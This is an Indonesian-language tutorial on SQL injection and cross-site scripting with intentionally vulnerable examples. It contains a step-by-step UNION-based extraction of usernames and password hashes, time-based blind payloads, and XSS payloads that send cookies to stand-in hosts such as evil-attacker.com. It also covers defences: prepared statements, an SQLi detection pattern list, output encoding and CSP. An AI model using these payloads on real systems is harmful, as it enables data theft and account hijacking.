SQL Injection & XSS: Serangan Web yang Umum Terjadi

TOKEN
📅 25 Juni 2026
📖 14 menit baca
Menengah
🔒 Keamanan Web

1. Apa Itu SQL Injection?

SQL Injection (SQLi) adalah teknik serangan keamanan web yang memanfaatkan celah pada lapisan database aplikasi web. Penyerang menyisipkan perintah SQL berbahaya ke dalam input pengguna (seperti form login, URL parameter, atau cookie) yang kemudian dieksekusi oleh database. SQLi telah menempati posisi teratas dalam daftar OWASP Top 10 selama bertahun-tahun karena dampaknya yang sangat destruktif.

Dengan SQL Injection, penyerang dapat: membaca data sensitif dari database, memodifikasi atau menghapus data, menjalankan operasi administrasi pada database (seperti shutdown), dan dalam beberapa kasus bahkan dapat mengeluarkan perintah ke sistem operasi server.

🚨 Dampak SQL Injection di Dunia Nyata

Pada tahun 2008, serangan SQL Injection terhadap situs Heartland Payment Systems berhasil mencuri 130 juta nomor kartu kredit — menjadikannya salah satu pelanggaran data terbesar dalam sejarah. Pada tahun 2015, British Telecom (BT) juga menjadi korban SQLi yang mengekspos data pelanggan internal.

Bagaimana SQL Injection Bekerja?

Aplikasi web yang rentan terhadap SQL Injection biasanya menggabungkan input pengguna secara langsung ke dalam query SQL tanpa sanitasi atau parameterisasi yang tepat. Berikut ilustrasi sederhananya:

SQL — Contoh Query Rentan
-- Query asli yang dibuat oleh aplikasi web
SELECT * FROM users WHERE username = 'input_pengguna' AND password = 'input_password';

-- Jika penyerang memasukkan: ' OR '1'='1' --
-- Query menjadi:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'apa_saja';

-- '1'='1' selalu bernilai TRUE, sehingga semua data user dikembalikan
-- Tanda -- mengomentari sisa query sehingga pengecekan password dilewati
      

2. Jenis-Jenis SQL Injection

SQL Injection dibagi menjadi beberapa jenis berdasarkan cara penyerang mengekstrak informasi dari database. Memahami setiap jenis sangat penting untuk menerapkan pertahanan yang tepat.

Jenis SQLi Mekanisme Tingkat Kesulitan Dampak
In-Band SQLi (Classic) Hasil query dikembalikan langsung di halaman web yang sama. Penyerang melihat output error atau data langsung di browser. Mudah Sangat tinggi — data bisa langsung diekstraksi
Union-Based SQLi Menggunakan operator UNION SELECT untuk menggabungkan hasil query asli dengan query penyerang, sehingga data dari tabel lain muncul di halaman. Mudah-Sedang Tinggi — bisa membaca tabel apapun
Error-Based SQLi Memanfaatkan pesan error database untuk mengungkap informasi struktur database, nama tabel, dan isi data. Mudah-Sedang Tinggi — mengekspos metadata database
Blind SQLi (Boolean-Based) Tidak ada output langsung. Penyerang mengirim query TRUE/FALSE dan mengamati perbedaan respon halaman untuk menyimpulkan data. Sedang Tinggi — data tetap bisa diekstrak per karakter
Blind SQLi (Time-Based) Penyerang menggunakan fungsi delay (SLEEP/WAITFOR) untuk menentukan apakah kondisi TRUE/FALSE berdasarkan waktu respon server. Sedang-Tinggi Tinggi — sangat lambat tapi efektif
Out-of-Band SQLi Data diekstrak melalui channel terpisah (DNS request, HTTP request ke server penyerang) menggunakan fungsi seperti xp_cmdshell atau UTL_HTTP. Tinggi Kritis — menembus firewall dan WAF

3. Contoh Kode SQL Injection

Berikut adalah beberapa contoh nyata serangan SQL Injection yang umum ditemukan di aplikasi web, beserta kode yang rentan dan cara memperbaikinya.

Login Bypass

PHP — Login Rentan SQLi
<?php
// ============================================
// KODE RENTAN — JANGAN digunakan di produksi!
// ============================================

$username = $_POST['username'];
$password = $_POST['password'];

// Query dibangun dengan string concatenation — SANGAT BERBAHAYA
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Login berhasil!";
    // Penyerang bisa bypass login dengan input:
    // Username: admin' --
    // Password: apa saja
}
?>
      

UNION-Based Data Extraction

SQL — UNION-Based Attack
-- URL target: https://example.com/product?id=1

-- Langkah 1: Tentukan jumlah kolom dengan ORDER BY
https://example.com/product?id=1 ORDER BY 1--   ← Normal
https://example.com/product?id=1 ORDER BY 2--   ← Normal
https://example.com/product?id=1 ORDER BY 3--   ← Normal
https://example.com/product?id=1 ORDER BY 4--   ← Error! Berarti ada 3 kolom

-- Langkah 2: Temukan kolom yang visible
https://example.com/product?id=1 UNION SELECT 1,2,3--

-- Langkah 3: Ekstrak nama database
https://example.com/product?id=1 UNION SELECT 1,database(),3--
-- Output: "toko_online"

-- Langkah 4: Ekstrak nama tabel
https://example.com/product?id=1 UNION SELECT 1,group_concat(table_name),3
    FROM information_schema.tables WHERE table_schema='toko_online'--
-- Output: "users,products,orders,payments"

-- Langkah 5: Ekstrak kolom dari tabel users
https://example.com/product?id=1 UNION SELECT 1,group_concat(column_name),3
    FROM information_schema.columns WHERE table_name='users'--
-- Output: "id,username,password,email,role"

-- Langkah 6: Ekstrak semua data user (termasuk password!)
https://example.com/product?id=1 UNION SELECT 1,
    group_concat(username,0x3a,password SEPARATOR 0x0a),3 FROM users--
-- Output: admin:5f4dcc3b5aa765d61d8327deb882cf99
--          user1:e10adc3949ba59abbe56e057f20f883e
      

Time-Based Blind SQLi

SQL — Time-Based Blind Attack
-- Cek apakah target rentan terhadap Blind SQLi
-- Jika halaman memuat lebih lama 5 detik = rentan

-- MySQL:
https://example.com/product?id=1 AND SLEEP(5)--

-- PostgreSQL:
https://example.com/product?id=1; SELECT pg_sleep(5)--

-- SQL Server:
https://example.com/product?id=1; WAITFOR DELAY '0:0:5'--

-- Ekstrak karakter pertama dari nama database (ASCII-based)
https://example.com/product?id=1 AND IF(
    ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(3), 0
)--
-- Jika terlambat 3 detik: karakter pertama > 100 (huruf 't' = 116)
-- Lanjutkan binary search untuk setiap karakter
      
⚠️ Peringatan: Etika Pengujian

Contoh kode di atas hanya untuk tujuan edukasi dan pengujian pada sistem yang kamu miliki atau yang memiliki izin tertulis. Melakukan SQL Injection pada sistem tanpa izin adalah tindakan ilegal yang dapat dijerat dengan UU ITE Pasal 30-32 dengan ancaman pidana penjara hingga 10 tahun dan denda miliaran rupiah.

4. Pencegahan SQL Injection

Pencegahan SQL Injection harus dilakukan di beberapa lapisan (defense in depth). Berikut adalah metode-metode pencegahan yang efektif.

Prepared Statements (Parameterized Queries)

Prepared statements adalah pertahanan paling efektif melawan SQL Injection karena memisahkan kode SQL dari data secara total. Data yang dimasukkan pengguna tidak pernah diinterpretasikan sebagai perintah SQL.

PHP — Prepared Statement (Aman)
<?php
// ============================================
// KODE AMAN — Menggunakan Prepared Statement
// ============================================

$username = $_POST['username'];
$password = $_POST['password'];

// Gunakan prepared statement dengan placeholder
$stmt = $conn->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);  // "s" = string type
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 1) {
    $user = $result->fetch_assoc();
    // Verifikasi password dengan hash
    if (password_verify($password, $user['password'])) {
        echo "Login berhasil! Selamat datang, " . htmlspecialchars($user['username']);
    }
}
$stmt->close();
?>
      
Python — SQLAlchemy ORM (Aman)
# ============================================
# Python — Menggunakan ORM untuk Hindari SQLi
# ============================================

from sqlalchemy import create_engine, Column, Integer, String
from sqlalchemy.orm import declarative_base, sessionmaker
from werkzeug.security import check_password_hash

Base = declarative_base()

class User(Base):
    __tablename__ = 'users'
    id = Column(Integer, primary_key=True)
    username = Column(String(50), unique=True)
    password = Column(String(200))  # Hashed password

engine = create_engine('mysql+pymysql://user:pass@localhost/toko_online')
Session = sessionmaker(bind=engine)

def login_user(username: str, password: str) -> bool:
    """Login dengan ORM — otomatis aman dari SQL Injection."""
    session = Session()
    try:
        # ORM menggunakan prepared statement secara otomatis
        user = session.query(User).filter(User.username == username).first()

        if user and check_password_hash(user.password, password):
            return True
        return False
    finally:
        session.close()

# Penggunaan dengan raw SQL (tetap aman)
from sqlalchemy import text

def get_product(product_id: int):
    session = Session()
    # Parameterized query dengan text()
    result = session.execute(
        text("SELECT * FROM products WHERE id = :pid"),
        {"pid": product_id}  # Parameter di-bind secara aman
    )
    return result.fetchone()
      

Input Validation & Web Application Firewall (WAF)

Python — Input Validation Middleware
# ============================================
# Input Validation Layer untuk Pencegahan SQLi
# ============================================

import re
from functools import wraps
from flask import Flask, request, abort

app = Flask(__name__)

# Pola berbahaya yang umum digunakan dalam SQLi
SQLI_PATTERNS = [
    r"(\b(SELECT|INSERT|UPDATE|DELETE|DROP|UNION|ALTER|CREATE|EXEC|EXECUTE)\b)",
    r"(--|#|/\*|\*/)",           # SQL comments
    r"(\bOR\b\s+\b\d+\b\s*=\s*\b\d+\b)",  # OR 1=1
    r"(\bAND\b\s+\b\d+\b\s*=\s*\b\d+\b)",  # AND 1=1
    r"(SLEEP\s*\(|BENCHMARK\s*\(|WAITFOR\s+DELAY)",  # Time-based
    r"(\bINTO\s+(OUTFILE|DUMPFILE)\b)",  # File operations
    r"(\bLOAD_FILE\s*\(|\bINTO\s+OUTFILE\b)",
]

def validate_input(value: str) -> bool:
    """Validasi input terhadap pola SQL Injection."""
    if not value:
        return True
    for pattern in SQLI_PATTERNS:
        if re.search(pattern, value, re.IGNORECASE):
            return False
    return True

def sql_injection_guard(f):
    """Decorator untuk memvalidasi semua parameter input."""
    @wraps(f)
    def decorated(*args, **kwargs):
        # Validasi query parameters
        for key, value in request.args.items():
            if not validate_input(value):
                abort(400, description=f"Input tidak valid pada parameter '{key}'")

        # Validasi form data
        if request.form:
            for key, value in request.form.items():
                if not validate_input(value):
                    abort(400, description=f"Input tidak valid pada field '{key}'")

        return f(*args, **kwargs)
    return decorated

@app.route('/search')
@sql_injection_guard
def search_products():
    """Endpoint pencarian produk dengan SQLi protection."""
    keyword = request.args.get('q', '')
    # Tetap gunakan prepared statement meskipun sudah divalidasi
    # Validasi adalah lapisan pertahanan tambahan (defense in depth)
    return f"Searching for: {keyword}"
      
✅ Tips: Defense in Depth untuk SQLi

Gunakan semua lapisan pertahanan bersamaan: 1) Prepared statements sebagai pertahanan utama, 2) Input validation sebagai lapisan tambahan, 3) WAF (Web Application Firewall) sebagai pertahanan perimeter, 4) Principle of least privilege pada database user — jangan berikan akses DROP atau GRANT ke user aplikasi web.

5. Apa Itu Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) adalah celah keamanan yang memungkinkan penyerang menyisipkan skrip JavaScript berbahaya ke dalam halaman web yang dilihat oleh pengguna lain. Berbeda dengan SQL Injection yang menyerang server, XSS menyerang browser pengguna — menjadikannya serangan sisi klien (client-side).

Ketika XSS berhasil dieksekusi, penyerang dapat: mencuri cookie dan session token pengguna, mengalihkan pengguna ke situs phishing, menampilkan halaman palsu (deface), menginstal keylogger di browser, dan bahkan mengendalikan akun pengguna.

📊 Alur Serangan XSS
1
😈
Penyerang
Menyisipkan script
2
🖥️
Server Web
Menyimpan script
3
👤
Korban
Mengunjungi halaman
4
💀
Eksekusi
Script berjalan di browser korban

6. Jenis-Jenis XSS

Jenis XSS Mekanisme Persistensi Contoh Kasus
Stored XSS (Persistent) Script berbahaya disimpan permanen di database/server (komentar, postingan, profil user). Setiap pengunjung halaman tersebut akan terkena. Permanen Komentar forum yang berisi script pencuri cookie
Reflected XSS (Non-Persistent) Script berbahaya dimasukkan melalui URL parameter atau form input yang langsung direfleksikan ke halaman tanpa sanitasi. Korban harus mengklik link khusus. Sementara Link phishing: example.com/search?q=<script>...</script>
DOM-Based XSS Script berbahaya dieksekusi melalui manipulasi DOM (Document Object Model) di sisi client. Server tidak terlibat — semua terjadi di browser korban. Sementara Manipulasi fragment URL (#) yang diproses oleh JavaScript client-side

7. Contoh Kode Serangan XSS

Stored XSS pada Form Komentar

HTML/JavaScript — Stored XSS Attack
<!-- ============================================ -->
<!-- Form Komentar yang Rentan terhadap Stored XSS -->
<!-- ============================================ -->

<!-- KODE RENTAN (server tidak sanitize input) -->
<form action="/submit-comment" method="POST">
    <textarea name="comment"></textarea>
    <button type="submit">Kirim Komentar</button>
</form>

<!-- Penyerang mengisi komentar dengan: -->
<script>
    // Curi cookie session pengguna
    var stolenData = {
        cookie: document.cookie,
        url: window.location.href,
        userAgent: navigator.userAgent
    };
    // Kirim ke server penyerang
    fetch('https://evil-attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(stolenData),
        headers: {'Content-Type': 'application/json'}
    });
</script>

<!-- Payload yang lebih halus (menggunakan img tag): -->
<img src=x onerror="
    fetch('https://evil-attacker.com/steal?c='+document.cookie)
">

<!-- Payload menggunakan SVG: -->
<svg onload="alert(document.cookie)">
      

Reflected XSS pada URL Parameter

URL — Reflected XSS Attack
# ============================================
# Reflected XSS — Melalui URL Parameter
# ============================================

# Target halaman search yang menampilkan query tanpa sanitasi
# Server merender: "Hasil pencarian untuk: [query_pengguna]"

# Payload sederhana:
https://example.com/search?q=<script>alert('XSS')</script>

# Payload yang lebih berbahaya (menggunakan encoded URL):
https://example.com/search?q=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fevil.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E

# Payload menggunakan event handler:
https://example.com/search?q="><img src=x onerror="alert(document.cookie)">

# Penyerang kemudian menyebarkan link tersebut via email phishing:
# "Klik di sini untuk melihat promo spesial: [link XSS]"
      

DOM-Based XSS

JavaScript — DOM-Based XSS
// ============================================
// DOM-Based XSS — Semua terjadi di client
// ============================================

// Kode JavaScript yang rentan di halaman web:
// Halaman mengambil parameter dari URL dan menampilkan tanpa sanitasi

// URL berbahaya:
// https://example.com/welcome#<img src=x onerror=alert(document.cookie)>

// Kode rentan di halaman:
const hash = window.location.hash.substring(1); // Ambil setelah #
document.getElementById('welcome').innerHTML = 'Selamat datang, ' + hash;
// innerHTML mengeksekusi script yang disisipkan!

// ============================================
// Contoh DOM XSS pada framework populer
// ============================================

// VULNERABLE: Menggunakan innerHTML
document.getElementById('output').innerHTML = userInput;

// VULNERABLE: Menggunakan eval()
eval(userInput);

// VULNERABLE: Menggunakan document.write()
document.write('<p>' + userInput + '</p>');

// VULNERABLE: jQuery .html() dengan user input
$('#output').html(userInput);
      

8. Pencegahan XSS

Output Encoding

Output encoding adalah pertahanan utama melawan XSS. Semua data yang berasal dari pengguna harus di-encode sebelum dirender di halaman HTML. Karakter khusus seperti <, >, &, ", dan ' diubah menjadi entitas HTML yang aman.

PHP — Output Encoding
<?php
// ============================================
// Pencegahan XSS dengan Output Encoding
// ============================================

// JANGAN GUNAKAN INI (rentan):
// echo "Selamat datang, " . $_GET['name'];

// GUNAKAN INI (aman) — htmlspecialchars untuk konteks HTML:
function safe_html(string $input): string {
    return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

// Penggunaan:
$name = $_GET['name'] ?? 'Tamu';
echo '<p>Selamat datang, ' . safe_html($name) . '</p>';

// Input: <script>alert('XSS')</script>
// Output: &lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;
// Aman — script tidak akan dieksekusi

// Encoding untuk konteks JavaScript:
function safe_js(string $input): string {
    return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}

// Encoding untuk konteks URL:
function safe_url(string $input): string {
    return rawurlencode($input);
}

// Encoding untuk konteks CSS:
function safe_css(string $input): string {
    return preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
}
?>
      

Content Security Policy (CSP)

Content Security Policy (CSP) adalah mekanisme keamanan yang ditambahkan melalui HTTP header yang membatasi sumber resource yang boleh dimuat oleh browser. CSP merupakan pertahanan yang sangat kuat melawan XSS karena dapat memblokir eksekusi script inline dan script dari domain yang tidak tepercaya.

Nginx — Content Security Policy
# ============================================
# Content Security Policy (CSP) Configuration
# Untuk Nginx Web Server
# ============================================

server {
    listen 443 ssl http2;
    server_name example.com;

    # CSP Header yang ketat
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' https://cdn.jsdelivr.net;
        style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
        img-src 'self' data: https:;
        font-src 'self' https://fonts.gstatic.com;
        connect-src 'self' https://api.example.com;
        frame-ancestors 'none';
        base-uri 'self';
        form-action 'self';
        upgrade-insecure-requests;
    " always;

    # Header keamanan tambahan
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
      
Python/Flask — CSP Middleware
# ============================================
# CSP Middleware untuk Flask Application
# ============================================

from flask import Flask, make_response
from functools import wraps

app = Flask(__name__)

# CSP Policy yang ketat
CSP_POLICY = {
    'default-src': "'self'",
    'script-src': "'self' 'nonce-{nonce}'",
    'style-src': "'self' 'unsafe-inline'",
    'img-src': "'self' data: https:",
    'font-src': "'self'",
    'connect-src': "'self'",
    'frame-ancestors': "'none'",
    'base-uri': "'self'",
    'form-action': "'self'",
}

def generate_nonce():
    """Generate CSP nonce yang unik per request."""
    import secrets
    return secrets.token_urlsafe(32)

def csp_protected(f):
    """Decorator untuk menambahkan CSP header ke setiap response."""
    @wraps(f)
    def decorated(*args, **kwargs):
        nonce = generate_nonce()
        csp_header = '; '.join(
            f"{key} {value.format(nonce=nonce)}" for key, value in CSP_POLICY.items()
        )

        response = make_response(f(*args, **kwargs))
        response.headers['Content-Security-Policy'] = csp_header
        response.headers['X-Content-Type-Options'] = 'nosniff'
        response.headers['X-Frame-Options'] = 'DENY'

        return response
    return decorated

@app.route('/')
@csp_protected
def index():
    return '<h1>Aplikasi Aman dengan CSP</h1>'
      
💡 Perbandingan Pertahanan SQLi vs XSS

SQL Injection dicegah terutama dengan prepared statements dan input validation. XSS dicegah dengan output encoding dan Content Security Policy. Keduanya membutuhkan defense in depth — jangan hanya mengandalkan satu metode. WAF (Web Application Firewall) seperti ModSecurity atau Cloudflare WAF dapat menjadi lapisan pertahanan tambahan untuk keduanya.

9. Quiz: Uji Pemahamanmu

Jawab pertanyaan berikut untuk menguji pemahaman kamu tentang SQL Injection dan XSS. Pilih satu jawaban terbaik untuk setiap pertanyaan.

📝 Quiz SQL Injection & XSS

1. Apa metode paling efektif untuk mencegah SQL Injection?

2. Jenis XSS apa yang menyimpan script berbahaya secara permanen di server?

3. Blind SQL Injection berbeda dari In-Band SQLi karena:

4. Directive CSP apa yang memblokir eksekusi script inline berbahaya?

5. Payload `<img src=x onerror="alert(document.cookie)">` adalah contoh dari: